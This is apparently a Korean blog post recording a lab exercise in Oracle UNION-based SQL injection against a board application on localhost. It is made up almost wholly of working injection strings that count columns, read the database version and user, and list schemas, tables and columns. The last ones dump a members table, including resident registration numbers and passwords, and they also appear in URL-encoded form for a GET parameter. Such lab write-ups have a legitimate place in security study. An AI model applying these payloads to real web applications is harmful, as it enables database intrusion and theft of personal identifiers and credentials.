Oh! JUN

ORACLE UNION-BASED 공격 실습 본문

웹 해킹/SQL Injection

ORACLE UNION-BASED 공격 실습

Kwon Oh! JUN 2022. 8. 27. 19:46

1. 게시판 목록

1-1. 컬럼 개수 구하기




 

' order by 1-- 정상 출력
' order by 2-- 정상 출력
' order by 3-- 에러 발생(대용량 데이터 타입)
' order by 4-- 정상 출력
' order by 5-- 정상 출력
' order by 6-- 정상 출력
' order by 7-- 정상 출력
' order by 8-- 에러 발생
' order by 9-- 에러 발생
' order by 10-- 에러 발생

- order by 3번째에서 대용량 데이터 타입이라 에러가 발생한다.

- 컬럼 개수는 7개이다.


1-2. 기본정보

' and 1=2 union all select 1, (select banner from v$version where rownum=1)||'###'||(select global_name from global_name)to_clob('content')(select user from dual), null, null, null from dual--

(select banner from v$version where rownum=1) 버전
(select global_name from global_name) SID
to_clob('content') order by 3번째 컬럼이 clob 대용량 데이터 타입이라서 
(select user from dual) 사용자

1-3 사용자(DB) 목록화

' and 1=2 union all select 1, owner, to_clob('content'), 'write', null, null, null from (select distinct owner from all_tables)a--

- all_tables에서 owner가 사용자(DB) 역할을 하는데 중복이 많아서 중복제거 작업을 해줘야한다.

- union만 사용하면 자동으로 중복이 제거되지만 3번째 대용량 데이터 타입때문에 사용이 불가능하다.

- 그렇다고 distinct owner를 사용하면 union과 똑같이 중복을 제거하는 역할을 해서 위와 같은 오류가 발생하게된다.

- 그래서 서브쿼리를 사용해서 중복이 제거된 owner를 union 작업을 수행한다.


1-4. 테이블 목록화

' and 1=2 union all select 1, table_name, to_clob('content'), 'write', null, null, null from all_tables where owner='C##CREHACKTIVE'--


1-5. 컬럼 목록화

' and 1=2 union all select 1, column_name, to_clob('content'), 'write', null, null, null from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD'--


1-6. 데이터 정보

' and 1=2 union all select 1, idx, to_clob('content'), 'write', null, null, null from C##CREHACKTIVE.TB_BOARD--
- oracle은 데이터타입에 민감해서 idx는 숫자타입이라 문자타입 위치에 놓으면 오류 뜬다.


' and 1=2 union all select 1, idx||'###'||title||'###'||writer||'###'||password||'###'||secret||'###'||regdate, to_clob('content'), 'write', null, null, null from C##CREHACKTIVE.TB_BOARD--

- 근데 이렇게 연결 연산자 사용하면 안뜬다.(content 데이터는 왜 안뜨는지 모르겠네;; to_clob함수 붙여도 안됨)


2. 게시물 상세보기

 

2-1. 컬럼 개수 파악하기

idx=46 order by 1-- 정상 출력
idx=46 order by 2-- 정상 출력
idx=46 order by 3-- 에러 발생(대용량 데이터 타입)
idx=46 order by 4-- 정상 출력
idx=46 order by 5-- 정상 출력
idx=46 order by 6-- 정상 출력
idx=46 order by 7-- 정상 출력
idx=46 order by 8-- 에러 발생
idx=46 order by 9-- 에러 발생
idx=46 order by 10-- 에러 발생

2-2. 사용자(DB) 목록화

http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, owner, to_clob('대용량 데이터 타입'), null, null, null, null from (select rownum r, owner from (select distinct owner from all_tables)a)b where b.r=4--

- 게시물 상세보기는 게시판 목록처럼 쿼리 결과를 나열된 상태로 보여주지 않기 때문에 순차적 레코드를 통해 하나씩 파밍해줘야한다.

- (select distinct owner from all_tables)a : all_tables에서 owner를 중복을 제거한다.

- (select rownum r, owner from (select distinct owner from all_tables)a)b : 중복을 제거한 owner에 rownum을 일괄등록한다. 

-  b.r=4 : select rownum r, owner from (select distinct owner from all_tables)a에서 r에 4를 대입시키면 4행에 위치한 사용자(DB)를 가져올 수 있다.


2-3. 테이블 목록화

http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, table_name, to_clob('대용량 데이터 타입'), null, null, null, null from (select rownum r, table_name from (select distinct table_name from all_tables where owner=%27C%23%23CREHACKTIVE%27)a)b where b.r=1--

- all_tables에서 owner가 C##CREHACKTIVE인 DB의 테이블 이름을 가져온다.(distinct 안붙여도 된다.)

- b.r=1 :1행의 테이블 이름을 가져온다.

 

※ 주의할 점★

- url 창에서 인젝션 시도하는거니까 url인코딩을 신경써야한다.

- owner='C##CREHACKTIVE'에서 '(작은따움표), ##을 url인코딩 시켜야한다.

- '(작은따움표) : %27 / ## : %23%23


2-4. 컬럼 목록화

http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, column_name, to_clob('대용량 데이터 타입'), null, null, null, null from (select rownum r, column_name from (select distinct column_name from all_tab_columns where owner=%27C%23%23CREHACKTIVE%27 and table_name=%27MEMBERS%27)a)b where b.r=1--


2-5. 데이터 정보

http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, id||%27%23%23%23%27||idx||%27%23%23%23%27||jumin||%27%23%23%23%27||password, to_clob('대용량 데이터 타입'), null, null, null, null from C%23%23CREHACKTIVE.MEMBERS--